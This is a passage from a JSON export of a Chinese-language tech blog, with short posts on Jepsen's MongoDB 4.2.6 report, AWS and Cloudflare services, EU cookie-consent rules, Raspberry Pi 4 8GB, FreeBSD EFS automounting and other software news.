    "body": "<a href=\"https://jepsen.io/\">Jepsen</a> 最近丟出了一篇新的測試報告在測新版的 <a href=\"https://www.mongodb.com/\">MongoDB</a> 4.2.6，而且語氣看起來比以前兇很多，翻了一下前因後果，看起來起因是出自 <a href=\"https://twitter.com/\">Twitter</a> 上的這則推，提到了 MongoDB 拿 Jepsen 宣傳的頁面：\r\n\r\n<blockquote class=\"twitter-tweet\" data-conversation=\"none\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Yeah this link is also in our page dedicated to this subject: <a href=\"https://t.co/dxp7QvUJih\">https://t.co/dxp7QvUJih</a>.<br>Did any of you actually read the article? We are passing the Jepsen test suite and it was back in 2017 already. So, no, MongoDB is not losing anything if you know what you are doing.</p>&mdash; Maxime Beugnet (@MBeugnet) <a href=\"https://twitter.com/MBeugnet/status/1253622755049734150?ref_src=twsrc%5Etfw\">April 24, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n然後 Jepsen 的官方帳號這邊也回應，覺得不可置信：\r\n\r\n<blockquote class=\"twitter-tweet\" data-conversation=\"none\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">I have to admit raising an eyebrow when I saw that web page. In that report, MongoDB lost data and violated causal by default. Somehow that became &quot;among the strongest data consistency, correctness, and safety guarantees of any database available today&quot;!<a href=\"https://t.co/GKnMEShhhu\">https://t.co/GKnMEShhhu</a> <a href=\"https://t.co/8d0Q09H0dj\">pic.twitter.com/8d0Q09H0dj</a></p>&mdash; Jepsen (@jepsen_io) <a href=\"https://twitter.com/jepsen_io/status/1255867265997844484?ref_src=twsrc%5Etfw\">April 30, 2020</a></blockquote>\r\n\r\n過兩個禮拜後 Jepsen 就丟出由老大 <a href=\"https://aphyr.com/\">Kyle Kingsbury</a> 發表的「<a href=\"https://jepsen.io/analyses/mongodb-4.2.6\">Jepsen: MongoDB 4.2.6</a>」，這篇測試 MongoDB 4.2.6 最新版的測試報告了。\r\n\r\n在這篇報告裡面提到了很多不道德的行為，首先是在之前的測試發現有很多會掉資料的問題，但在 MongoDB 官方的宣傳文件「<a href=\"https://www.mongodb.com/jepsen\">MongoDB and Jepsen</a>」裡面則是完全沒提到，而且還宣稱有業界最強的資料一致性與正確性 (與 Jepsen 報告所提供的資料不符)，所以 Jepsen 建議把這些問題列到這個頁面上，以避免使用者受到「誤解」：\r\n\r\n<blockquote>Curiously, MongoDB omitted any mention of these findings in their MongoDB and Jepsen page. Instead, that page discusses only passing results, makes no mention of read or write concern, buries the actual report in a footnote, and goes on to claim:\r\n\r\n<blockquote>MongoDB offers among the strongest data consistency, correctness, and safety guarantees of any database available today.</blockquote>\r\n\r\nWe encourage MongoDB to report Jepsen findings in context: while MongoDB did appear to offer per-document linearizability and causal consistency with the strongest settings, it also failed to offer those properties in most configurations. We think users might want to be aware that their database could lose data by default, but MongoDB’s summary of our work omits any mention of this behavior.</blockquote>\r\n\r\n另外當然就是重測 MongoDB 4.2.6 版，沒時間看內容的人可以先瞄一下標題，裡面就已經點出不少東西了：\r\n\r\n<pre>3 Results\r\n3.1 Sometimes, Programs That Use Transactions… Are Worse\r\n3.2 How ACID is Snapshot Isolation, Anyway\r\n3.3 Indeterminate Errors\r\n3.4 Duplicate Effects\r\n3.5 Read Skew\r\n3.6 Cyclic Information Flow\r\n3.7 Read Your (Future) Writes</pre>\r\n\r\n不過在最後面的 Discussion 比較清楚。\r\n\r\n首先是批評 snapshot isolation 不是 ACID：\r\n\r\n<blockquote>MongoDB 4.2.6 claims to offer “full ACID transactions” via snapshot isolation. However, the use of these transactions is complicated by weak defaults, confusing APIs, and undocumented error codes. Snapshot isolation is questionably compatible with the marketing phrase “full ACID”. Even at the highest levels of read and write concern, MongoDB’s transaction mechanism exhibited various anomalies which violate snapshot isolation.</blockquote>\r\n\r\n<blockquote>Snapshot isolation is a reasonably strong consistency model, but claiming that snapshot isolation is “full ACID” is questionable.</blockquote>\r\n\r\n而且即使把所有的資料安全性相關的設定都調到最高，也根本就做不到宣稱的 snapshot isolation：\r\n\r\n<blockquote>Finally, even with the strongest levels of read and write concern for both single-document and transactional operations, we observed cases of G-single (read skew), G1c (cyclic information flow), duplicated writes, and a sort of retrocausal internal consistency anomaly: within a single transaction, reads could observe that transaction’s own writes from the future. MongoDB appears to allow transactions to both observe and not observe prior transactions, and to observe one another’s writes. A single write could be applied multiple times, suggesting an error in MongoDB’s automatic retry mechanism. All of these behaviors are incompatible with MongoDB’s claims of snapshot isolation.</blockquote>\r\n\r\n過程中也發現就算設定了 <code>snapshot</code> 層級，MongoDB 在讀取時也不會遵守 snapshot isolation：\r\n\r\n<blockquote>MongoDB’s default read and write concern for single-document operations remains local, which can observe uncommitted data, and w: 1, which can lose committed writes. Even when users select safer settings in their clients at the database or collection level, transactions ignore these settings and default again to local and w: 1. The snapshot read concern does not actually guarantee snapshot isolation, and must always be used in conjunction with write concern majority. This holds even for transactions which perform no writes.</blockquote>\r\n\r\n然後所有的官方文件都沒有教 snapshot isolation 要怎麼設定，你必須在第三方的文件上才有機會找到：\r\n\r\n<blockquote>Nor can users rely on examples to demonstrate snapshot isolated behavior. MongoDB’s transaction documentation and tutorial blog posts show only write-only transactions, using read concern local rather than snapshot. Other examples from MongoDB don’t specify a read concern or run entirely with defaults. Learn MongoDB The Hard Way uses read concern snapshot but write concern local, despite performing writes. Tutorials from DZone, Several Nines, Percona, The Code Barbarian, and Spring.io all claim that transactions are either ACID or offer snapshot isolation, but none set either read or write concern. There are some examples of MongoDB transactions which are snapshot isolated—for instance, from BMC, +N Consulting, and Maciej Zgadzaj, but most uses of MongoDB transactions we found ran—either intentionally or inadvertently—with settings that would (in general) allow write loss and aborted reads.</blockquote>\r\n\r\n基本上就是一個老大被惹怒了，丟出來炸，而且看他的語氣還有很多東西沒測，打算要再炸一篇？",
    "title": "MongoDB 的欺騙性廣告"
  },
  {
    "id": "9536",
    "body": "上個禮拜在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://github.com/cnlohr/rawdrawandroid\">cnlohr/rawdrawandroid</a>」這個專案：\r\n\r\n<blockquote>Build android apps without any java, entirely in C and Make</blockquote>\r\n\r\n看起來包括了 cross-compile 的支援，只要在 <code>Makefile</code> 裡面設定對應的平台就可以了：\r\n\r\n<blockquote>You may want to support multiple platforms natively. Add the following to your <code>Makefile</code>: <code>TARGETS:=makecapk/lib/arm64-v8a/lib$(APPNAME).so makecapk/lib/armeabi-v7a/lib$(APPNAME).so makecapk/lib/x86/lib$(APPNAME).so makecapk/lib/x86_64/lib$(APPNAME).so</code></blockquote>\r\n\r\n當然專案的成熟度一定跟很多人用的 <a href=\"https://developer.android.com/studio/\">Android Studio</a> 這些環境有差，但可以看出作者還是投入了不少精神在上面擴充各種可能性，可以看到這幾天還是一直有在修改文件與程式碼...\r\n\r\n另外這個專案也試著讓使用者可以在 Windows 下使用 (透過 <a href=\"https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux\">WSL</a> 的實做)。",
    "title": "用 C 與 Makefile 開發的 Android 專案"
  },
  {
    "id": "9537",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 在上個月推出的新功能，在 tab 上放的有點久：「<a href=\"https://aws.amazon.com/blogs/aws/new-use-cloudwatch-synthetics-to-monitor-sites-api-endpoints-web-workflows-and-more/\">New – Use CloudWatch Synthetics to Monitor Sites, API Endpoints, Web Workflows, and More</a>」。\r\n\r\n算是監控網站的服務，但不只是有沒有活著，而是包括整個網站 loading 的狀態。因為連 <a href=\"https://en.wikipedia.org/wiki/HAR_(file_format)\">HAR</a> 格式都支援了，所以可以抓很多特殊的時間點，從 screenshot 可以看出來：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gAKR3XS.webp\" /><img src=\"https://i.gslin.com/imgur/gAKR3XS.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/jZjryHO.webp\" /><img src=\"https://i.gslin.com/imgur/jZjryHO.jpg\" alt=\"\" /></picture>\r\n\r\n價錢不算便宜，畢竟是要需要用瀏覽器抓出所有情境。如果以五分鐘跑一次來算，一個月就要 USD$10.3 左右的服務費用，另外還要加上 <a href=\"https://aws.amazon.com/s3/\">S3</a> 與 <a href=\"https://aws.amazon.com/lambda/\">Lambda</a> 的成本 (不過這兩個服務的費用應該就只是零頭了)：\r\n\r\n<blockquote>Pricing – As part of the AWS Free Tier you get 100 canary runs per month at no charge. After that, you pay per run, with prices starting at $0.0012 per run, plus the usual charges for S3 storage and Lambda invocations.</blockquote>\r\n\r\n不過我記得類似的服務大概也都是這個等級的價錢，如果量夠大的話，我記得 HAR 的輸出有 open source solution 可以自己弄 EC2 instance 裝起來，應該會划算不少...",
    "title": "AWS 在上個月推出的 CloudWatch Synthetics"
  },
  {
    "id": "9538",
    "body": "在 <a href=\"https://techcrunch.com/\">TechCrunch</a> 上面看到的，歐盟更新了對於 Cookie 同意方式的準則：「<a href=\"https://techcrunch.com/2020/05/06/no-cookie-consent-walls-and-no-scrolling-isnt-consent-says-eu-data-protection-body/\">No cookie consent walls — and no, scrolling isn’t consent, says EU data protection body</a>」，英文版的 PDF 文件可以在「<a href=\"https://edpb.europa.eu/sites/edpb/files/files/file1/edpb_guidelines_202005_consent_en.pdf\">Guidelines 05/2020 on consent under Regulation 2016/679</a>」這邊看到。\r\n\r\n這篇準則主要是在說明，什麼情境下取得的「同意」才是有效的。主要在在說明使用者與開發者權力不對等的情況下，<a href=\"https://en.wikipedia.org/wiki/General_Data_Protection_Regulation\">GDPR</a> 會擋下哪些對使用者不利的情況。\r\n\r\n準則文件裡開頭的地方先解釋了什麼是 free/freely given，然後給了不少範例，另外翻例子的時候還看到在雇傭關係下因為員工有無法拒絕的壓力，這時候的同意也未必是有效的，藉以保護員工...\r\n\r\n而 TechCrunch 的文章則是拉出了兩個目前在 internet 上很常用的情況來報導 (cookie wall 與 scrolling)，解釋現在 internet 上面常用的這些方法在 GDPR 下並沒有取得授權。\r\n\r\n這樣的話 <a href=\"https://medium.com/\">Medium</a> 的 login wall 應該也會踩到 (強迫你要註冊 Medium 才能看，這邊會需要同意 Medium 的使用條款)，這次歐盟文件算是蠻清楚的，多幾次訴訟，再讓 GDPR 跑個幾年，應該有會有不同的方法了...",
    "title": "歐盟更新了對於 Cookie 同意方式的準則"
  },
  {
    "id": "9542",
    "body": "<a href=\"https://notion.so/\">Notion</a> 把本來收費 USD$4/month 的個人版拆開多推出一個層級，改成 Personal 與 Personal Pro，其中 Personal 包括了：\r\n\r\n<blockquote>Unlimited pages &amp; blocks\r\nShare with 5 guests\r\nSync across devices</blockquote>\r\n\r\n而 Personal Pro 則是多了：\r\n\r\n<blockquote>Everything in Personal, plus\r\nUnlimited file uploads\r\nUnlimited guests\r\nVersion history\r\nAPI access COMING SOON</blockquote>\r\n\r\n不知道這個免費策略跟「<a href=\"https://techcommunity.microsoft.com/t5/microsoft-365-blog/announcing-microsoft-lists-your-smart-information-tracking-app/ba-p/1372233\">Announcing Microsoft Lists - Your smart information tracking app in Microsoft 365</a>」有沒有關係，以拆分 Personal 帳號來說，應該是事前就有先規劃了... 當然也有可能是內部先拿到消息？\r\n\r\nNotion 對一般個人要丟東西應該還不錯，現在 Personal 版本少了之前免費版的 1000 blocks 限制，對於 issue tracking 這種會長期一直增加使用量的應用來說應該會方便不少，不過我自己 <a href=\"https://trac.edgewall.org/\">Trac</a> + <a href=\"https://www.mediawiki.org/\">MediaWiki</a> 用習慣了，再加上考慮到資料的自主性，應該就不會考慮跳到 Notion 上...\r\n\r\n另外之前有抱怨過多帳號登入的部份看起來還是沒解，目前看到的解法還是使用不同的瀏覽器登入管理 (甚至是建議直接用不同的裝置登入)，再來就是 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 提供的 container 處理，其實都是在 client 端拆 cookie 的方案，這對於同時有公司帳號與個人帳號的人會變得頗麻煩的...",
    "title": "Notion 推出免費版 (個人版)"
  },
  {
    "id": "9545",
    "body": "看到 <a href=\"https://gugod.org/\">gugod</a> 最近在玩 Usenet：「<a href=\"https://gugod.org/2020/05/play-newsgroups/\">玩 Usenet Newsgroup</a>」，把 <code>tw.bbs.talk</code> 的 innbbsd 設定給設起來，結果發現 subject 的部份 innbbsd 有把 UTF-8 轉成 BIG5 (記得是因為標題用 MIME-B 很普及，所以很早就支援了)，但內文就沒有轉碼了，也許得 patch innbbsd 讓他過 <a href=\"https://en.wikipedia.org/wiki/Iconv\">iconv</a> 轉碼？\r\n\r\nspam 的部份如同 gugod 提到的也少很多了，看起來是個老人聊天的好地方...\r\n\r\n另外在 debug 過程中因為直接讀 header &amp; body，看到了 <code>Cancel-Lock</code> 這個 header，查了一下發現是個 2018 年通過的新標準 (RFC 8315)：「<a href=\"https://tools.ietf.org/html/rfc8315\">Cancel-Locks in Netnews Articles</a>」，不過從維基百科的說明，看起來沒有什麼人支援：\r\n\r\n<blockquote>Cancel-lock is much simpler, but neither commonly accepted, nor implemented in popular news servers and newsreaders.</blockquote>\r\n\r\n可能會先用其他方式去聊天 (<a href=\"https://en.wikipedia.org/wiki/Tin_(newsreader)\">tin</a>？)，長期的話再來看看要怎麼搭...",
    "title": "tw.bbs.* 的轉信"
  },
  {
    "id": "9547",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://twitter.com/jserv\">jserv</a> 的轉推提到的專案：「<a href=\"https://latex.now.sh/\">LATEX.css</a>」。\r\n\r\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">LaTeX.css ?<a href=\"https://t.co/n2ETCmle2k\">https://t.co/n2ETCmle2k</a> <a href=\"https://t.co/guHkIgW1oS\">pic.twitter.com/guHkIgW1oS</a></p>&mdash; Guillermo Rauch (@rauchg) <a href=\"https://twitter.com/rauchg/status/1264295947938365440?ref_src=twsrc%5Etfw\">May 23, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n主要的感覺應該還是來自於字型，其他的看起來還好...",
    "title": "LaTeX 風格的 CSS"
  },
  {
    "id": "9548",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 宣佈了新，提供 Enterprise 客戶使用 Secondary DNS：「<a href=\"https://blog.cloudflare.com/secondary-dns-a-faster-more-resilient-way-to-serve-your-dns-records/\">Secondary DNS — A faster, more resilient way to serve your DNS records</a>」。\r\n\r\n先前 Cloudflare 的客戶只能透過網頁或是 Cloudflare 提供的 API 管理 DNS，現在則是可以透過標準協定直接建出 Secondary DNS：\r\n\r\n<blockquote>Starting today, enterprise customers who are entitled to secondary DNS will be able to configure their zone in the Cloudflare Dashboard.</blockquote>\r\n\r\n這樣對於自己在管理 DNS 的客戶會方便不少 (像是用 <a href=\"https://en.wikipedia.org/wiki/BIND\">BIND</a> 的單位)，不過因為安全性的考量，需要啟用 <a href=\"https://en.wikipedia.org/wiki/TSIG\">TSIG</a> 確保資料不會被竄改：\r\n\r\n<blockquote>Zone transfers between a primary and secondary server are unauthenticated on their own. TSIGs (Transactional Signatures) were developed as a means to add authentication to the DNS protocol, and have mostly been used for zone transfers.</blockquote>\r\n\r\n另外就會想到 <a href=\"https://stackoverflow.com/\">StackOverflow</a> (「<a href=\"https://blog.gslin.org/archives/2017/04/27/7269/stackoverflow-%E5%B0%8D%E6%96%BC%E5%A4%9A-dns-%E5%95%86%E7%9A%84%E5%90%8C%E6%AD%A5%E6%96%B9%E5%BC%8F/\">StackOverflow 對於多 DNS 商的同步方式...</a>」) 與 <a href=\"https://github.com/\">GitHub</a> (「<a href=\"https://blog.gslin.org/archives/2017/04/30/7282/github-%E4%B9%9F%E8%87%AA%E5%B7%B1%E6%90%9E%E4%BA%86%E4%B8%80%E5%A5%97%E7%AE%A1%E7%90%86%E5%A4%9A%E5%AE%B6-dns-%E7%9A%84%E7%A8%8B%E5%BC%8F/\">GitHub 也自己搞了一套管理多家 DNS 的程式...</a>」) 的方式，是直接在不同的系統之間疊管理抽象層，這種搞法應該會更穩定，畢竟是直接丟到兩個不同系統管理。\r\n\r\n然後我記得市場上有一些 Secondary DNS 的服務可以選，Cloudflare 目前看起來算是補產品線而不是進來殺市場 (畢竟是掛在 Enterprise 等級才能用)。",
    "title": "Cloudflare 的 Enterprise 客戶可以用 Secondary DNS 服務了"
  },
  {
    "id": "9550",
    "body": "<a href=\"https://twitter.com/\">Twitter</a> 上看到「<a href=\"https://wiki.php.net/rfc/unbundle_xmlprc\">PHP RFC: Unbundle ext/xmlrpc</a>」這則消息，<a href=\"https://www.php.net/\">PHP</a> 官方打算把 <a href=\"https://www.php.net/manual/en/book.xmlrpc.php\">XML-RPC</a> (也就是 git repository 裡面的 <a href=\"https://git.php.net/?p=php-src.git;a=tree;f=ext/xmlrpc;hb=refs/heads/PHP-7.4\">ext/xmlrpc</a>) 拆出去，移到 <a href=\"https://pecl.php.net/\">PECL</a>：\r\n\r\n<blockquote>Unbundle ext/xmlrpc (i.e. move it to PECL) without any explicit deprecation.</blockquote>\r\n\r\n主要的考慮是在於目前的 library 已經年久失修：\r\n\r\n<blockquote>ext/xmlrpc relies on on libxmlrpc-epi, which is abandoned. Even worse, we are bundling a modified 0.51, while the latest version is 0.54.1. This is exacerbated by the fact that the system library is usually built against libexpat, but the bundled library is likely to be built against libxml2 using our compatibility layer.</blockquote>\r\n\r\n另外應該也是因為 XML-RPC 用的人不多吧，投票是沒什麼玄念的 50:0，而且在 <a href=\"https://packagist.org/\">Packagist</a> 上面也可以翻到一些用 PHP 實做的替代品，拿 <a href=\"https://packagist.org/?query=xmlrpc\">xmlrpc</a> 這個關鍵字搜了一下可以看到一些...",
    "title": "PHP 8 將會移除 XML-RPC，改放到 PECL 內"
  },
  {
    "id": "9551",
    "body": "微軟用 <a href=\"https://en.wikipedia.org/wiki/MIT_License\">MIT License</a> 放出 1983 年版的 <a href=\"https://en.wikipedia.org/wiki/GW-BASIC\">GW-BASIC</a>：「<a href=\"https://devblogs.microsoft.com/commandline/microsoft-open-sources-gw-basic/\">Microsoft Open-Sources GW-BASIC</a>」。\r\n\r\n這次放出來程式看起來是 x86 assembly，不過放出來的版本好像也不能算是「原始」的版本，而是從 \"master implementation\" 轉譯出來的版本：\r\n\r\n<blockquote>This source was ‘translated’?\r\n\r\nEach of the assembly source files contains a header stating This translation created 10-Feb-83 by Version 4.3\r\n\r\nSince the Instruction Set Architecture (ISA) of the early processors used in home and personal computers weren’t spectacularly different from one another, Microsoft was able to generate a substantial amount of the code for a port from the sources of a master implementation. (Alas, sorry, we’re unable to open-source the ISA translator.)</blockquote>\r\n\r\n主要還是 PR，然後帶一些考古價值...",
    "title": "微軟開源 1983 年版的 GW-BASIC"
  },
  {
    "id": "9552",
    "body": "記者會上有提到現在<a href=\"https://www.cdc.gov.tw/\">疾管署</a>的網站上有公開每日送檢數的資料，花了些時間找，在「<a href=\"https://data.cdc.gov.tw/dataset/daily-cases-suspected-sars-cov-2-infection_tested\">台灣COVID-19冠狀病毒檢測每日送驗數</a>」這邊可以看到，網站提供的 preview 的界面沒辦法看到最新的資料，但下載後可以看到檔案格式是 UTF-8 的 CSV 檔，應該還算能處理...\r\n\r\n找到這個資料花了一些功夫 (因為用 <a href=\"https://duckduckgo.com/\">DuckDuckGo</a> 與 <a href=\"https://www.google.com/\">Google</a> 都沒直接找到)，後來是靠這樣的步驟找到的：\r\n\r\n<ul>\r\n\t<li>先從官網 <a href=\"https://www.cdc.gov.tw/\">https://www.cdc.gov.tw/</a> 進去。</li>\r\n\t<li>點選「統計」後會到 <a href=\"https://www.cdc.gov.tw/Category/List/ZrvS2zJwZ03tl8CbKYdI8g\">https://www.cdc.gov.tw/Category/List/ZrvS2zJwZ03tl8CbKYdI8g</a>。</li>\r\n\t<li>點選「疾病管制署資料開放平臺」後會到 <a href=\"https://data.cdc.gov.tw/\">https://data.cdc.gov.tw/</a>。</li>\r\n</ul>\r\n\r\n本來點選熱門資料那邊的「<a href=\"https://data.cdc.gov.tw/dataset/covid19_tw__stats\">COVID-19台灣最新病例、檢驗統計</a>」結果發現只有一筆資料，而且看起來最後更新時間是 2020/04/24，所以得往其他地方翻。\r\n\r\n首先點了上面的「<a href=\"https://data.cdc.gov.tw/blog\">最新消息</a>」發現是個系統公告區，不是我要的，接下來才又找到正確的路線...\r\n\r\n<ul>\r\n\t<li>點選上方的「資料集」後會到 <a href=\"https://data.cdc.gov.tw/dataset\">https://data.cdc.gov.tw/dataset</a>。</li>\r\n\t<li>把「排序依照」的地方改成「最後修改」，會切到 <a href=\"https://data.cdc.gov.tw/dataset?q=&amp;sort=metadata_modified+desc\">https://data.cdc.gov.tw/dataset?q=&amp;sort=metadata_modified+desc</a>。</li>\r\n</ul>\r\n\r\n這時候就會看到最前面提到的「台灣COVID-19冠狀病毒檢測每日送驗數」了。\r\n\r\n然後 <a href=\"https://data.cdc.gov.tw/\">data.cdc.gov.tw</a> 這個網站看起來是放在 <a href=\"https://azure.microsoft.com/\">Microsoft Azure</a> 的日本區？",
    "title": "疾管署的 COVID-19 每日送檢數的 Open Data"
  },
  {
    "id": "9554",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 推出了自己的 Speed Test 服務：「<a href=\"https://blog.cloudflare.com/test-your-home-network-performance/\">Test your home network performance</a>」。\r\n\r\n這個服務跟 <a href=\"https://www.netflix.com/\">Netflix</a> 推出的 <a href=\"https://fast.com/\">fast.com</a> 類似，測試的是使用者端到 Netflix (或是 Cloudflare) 中間的速度，主要的目的還是公關 (PR)，所以看看就好，實際上用 <a href=\"https://www.speedtest.net/\">Speedtest</a> 測出來會比較有參考價值，而且可以選擇不同的點測試...\r\n\r\n不過這讓我想到之前有人測出來遠傳會對偵測使用者要使用 Speedtest 測試時開放速限的情況 (像是「<a href=\"https://www.mobile01.com/topicdetail.php?f=18&amp;t=5314316\">遠傳吃到飽只有 Speedtest 沒限速</a>」這篇)，然後就有各種定時去打 Speedtest 觸發開放速限的方法...\r\n\r\n目前好像只剩下這篇活著，內文提到的是 <a href=\"https://www.android.com/\">Android</a> 上的方法，另外推文有人提到 <a href=\"https://www.apple.com/ios/\">iOS</a> 下的方法：「<a href=\"https://www.ptt.cc/bbs/MobileComm/M.1588401368.A.E6F.html\">[心得] 在Android破解遠X限速</a>」，如果有遇到的可以用看看...",
    "title": "Cloudflare 也推出自己的 Speed Test 服務"
  },
  {
    "id": "9556",
    "body": "<a href=\"https://www.raspberrypi.org/\">Raspberry Pi</a> 宣佈了 8GB 版本：「<a href=\"https://www.raspberrypi.org/blog/8gb-raspberry-pi-4-on-sale-now-at-75/\">8GB Raspberry Pi 4 on sale now at $75</a>」。\r\n\r\n除了記憶體變成 8GB 以外，也因為記憶體加大而需要更多電力，所以電供元件的部份也跟著改動，然後也提到 <a href=\"https://en.wikipedia.org/wiki/Coronavirus_disease_2019\">COVID-19</a> 造成的延遲：\r\n\r\n<blockquote>To supply the slightly higher peak currents required by the new memory package, James has shuffled the power supply components on the board, removing a switch-mode power supply from the right-hand side of the board next to the USB 2.0 sockets and adding a new switcher next to the USB-C power connnector. While this was a necessary change, it ended up costing us a three-month slip, as COVID-19 disrupted the supply of inductors from the Far East.</blockquote>\r\n\r\n超過 4GB 的時候一定會檢視 32-bit 與 64-bit 環境的差異，所以就會發現，在預設的 kernel 因為使用 32-bit <a href=\"https://en.wikipedia.org/wiki/LPAE\">LPAE</a> (<a href=\"https://www.arm.com/\">ARM</a> 上的 <a href=\"https://en.wikipedia.org/wiki/Physical_Address_Extension\">PAE</a>)，所以雖然是有機會可以使用到 8GB，但單一程式會有 3GB 限制：\r\n\r\n<blockquote>Our default operating system image uses a 32-bit LPAE kernel and a 32-bit userland. This allows multiple processes to share all 8GB of memory, subject to the restriction that no single process can use more than 3GB.</blockquote>\r\n\r\n目前如果想要原生支援 64-bit 環境的話，需要使用其他作業系統：\r\n\r\n<blockquote>But power users, who want to be able to map all 8GB into the address space of a single process, need a 64-bit userland. There are plenty of options already out there, including Ubuntu and Gentoo.</blockquote>\r\n\r\n不過另外官方也在測自家的 64-bit 版本，已經有 early beta 版本可以測試看看了 (話說 early beta 這個詞，可以解釋成 alpha 的品質...)：\r\n\r\n<blockquote>Not to be left out, today we’ve released an early beta of our own 64-bit operating system image. This contains the same set of applications and the same desktop environment that you’ll find in our regular 32-bit image, but built against the Debian arm64 port.</blockquote>\r\n\r\n不過上面的 <a href=\"https://www.chromium.org/\">Chromium</a> 與 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 不完整支援硬體解壓影片的部份還是痛，四代的 CPU 在 <a href=\"https://www.youtube.com/\">YouTube</a> 上是可以硬撐 1080p30 解碼，但畫面順暢度就不太行了，客廳還是用老 <a href=\"https://en.wikipedia.org/wiki/Mac_Mini\">Mac Mini</a> (2011 的版本) 來撐場...",
    "title": "Raspberry Pi 4 推出 8GB 版本"
  },
  {
    "id": "9557",
    "body": "在「<a href=\"https://www.osnews.com/story/131845/os-2-on-virtualbox-guide/\">OS/2 on Virtualbox guide</a>」這邊看到在 <a href=\"https://www.virtualbox.org/\">VirtualBox</a> 上裝 <a href=\"https://en.wikipedia.org/wiki/OS/2\">OS/2</a> 的指引，引用的文章在「<a href=\"https://gekk.info/articles/os2.html\">OS/2 on Virtualbox Guide</a>」這邊。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/dcU6feO.webp\" /><img src=\"https://i.gslin.com/imgur/dcU6feO.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/hb4qP4A.webp\" /><img src=\"https://i.gslin.com/imgur/hb4qP4A.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/HVeIirP.webp\" /><img src=\"https://i.gslin.com/imgur/HVeIirP.jpg\" alt=\"\" /></picture>\r\n\r\n讓人懷古的東西...\r\n\r\n另外文章的作者有提到，有試著在實體機器與其他的 VM 環境裝 (這邊提到了 <a href=\"https://en.wikipedia.org/wiki/QEMU\">QEMU</a>)，不過結果不太行：\r\n\r\n<blockquote>Note: On real hardware, or on other VM platforms, I have found OS/2 to be extremely fragile. When I installed it on my real P1 and P3 Dell machines, I had to reboot multiple times during the setup and driver install processes due to hangs, and I had a ton of issues with random errors on boot.\r\n\r\nI also tried all this on QEMU 4.2.0 and had very similar problems, and I had developed some very negative opinions about OS/2's reliability before I switched to Virtualbox and found that it was actually quite solid and the installs went very smoothly.</blockquote>\r\n\r\n主要還是有趣吧...",
    "title": "VirtualBox 裡面跑 OS/2 的指引"
  },
  {
    "id": "9558",
    "body": "在 <a href=\"https://trac.edgewall.org/\">Trac</a> 開發版 1.5.1 的 <a href=\"https://trac.edgewall.org/wiki/1.5/TracChangeLog\">Change Log</a> 裡可以看到說明：\r\n\r\n<blockquote>This will be the only release in the 1.5.x release line that supports Python 2.7. Future releases will support Python 3.5+.</blockquote>\r\n\r\n先前在 mailing list 上有看到 Python 3 的計畫，不過好像是第一次在 changelog 裡面看到說明了...",
    "title": "Trac 開發版 1.5.1 對 Python 3 的說明"
  },
  {
    "id": "9561",
    "body": "<a href=\"https://www.daemonology.net/\">Colin Percival</a> 提到了 <a href=\"https://www.freebsd.org/\">FreeBSD</a> 12.2 上 autofs 會整合 <a href=\"https://aws.amazon.com/efs/\">Amazon EFS</a>，讓掛載進來變得更方便：「<a href=\"https://www.daemonology.net/blog/2020-05-31-Some-new-FreeBSD-EC2-features.html\">Some new FreeBSD/EC2 features: EFS automount and ebsnvme-id</a>」。\r\n\r\n用法是先設定 autofs，然後啟用 autofs：\r\n\r\n<pre># echo '/efs -efs' > /etc/auto_master \r\n# sysrc autofs_enable=\"YES\"</pre>\r\n\r\n然後重開機後就可以直接切到 <code>/efs/FSID</code> 把 EFS 掛起來了：\r\n\r\n<blockquote>Having done this, any access to the path <code>/efs/FSID</code> (e.g., <code>/efs/fs-01234567</code>) will automatically and transparently mount that filesystem.</blockquote>\r\n\r\n另外加上原來對 EBS 與 ephemeral disk 的支援，這樣 storage 的部份算是該有的都有了：\r\n\r\n<blockquote>Using the tool and some devd magic, FreeBSD now maintains a tree under /dev/aws/disk containing the symlinks of the forms\r\n\r\n<ul>\r\n\t<li>/dev/aws/disk/ebs/vol-0123456789abcdef</li>\r\n\t<li>/dev/aws/disk/linuxname/sdh</li>\r\n\t<li>/dev/aws/disk/ephemeral/SERIALNO</li>\r\n</ul></blockquote>",
    "title": "FreeBSD 12.2 在 AWS 的 Amazon EFS 整合 (autofs)"
  },
  {
    "id": "9562",
    "body": "前幾天 <a href=\"https://aws.amazon.com/\">AWS</a> 宣佈了使用 <a href=\"https://www.amd.com/\">AMD</a> CPU 的 <code>c5a</code> 主機：「<a href=\"https://aws.amazon.com/blogs/aws/new-amazon-ec2-c5a-instances-powered-by-2nd-gen-amd-epyc-processors/\">New – Amazon EC2 C5a Instances Powered By 2nd Gen AMD EPYC™ Processors</a>」。\r\n\r\n定價上與其他 AWS 上 AMD 的機器都類似 (<code>m5a</code>、<code>r5a</code> 以及 <code>t3a</code>)，大約都低 10% 左右：\r\n\r\n<blockquote>Today, I am excited to announce the general availability of compute-optimized C5a instances featuring 2nd Gen AMD EPYC™ processors, running at frequencies up to 3.3 GHz. C5a instances are variants of Amazon EC2’s compute-optimized (C5) instance family and provide high performance processing at 10% lower cost over comparable instances.</blockquote>\r\n\r\n以這兩年 AMD 在 CPU 這塊碾壓 <a href=\"https://www.intel.com/\">Intel</a> 的情況來說 (AMD YES！)，目前 AMD CPU 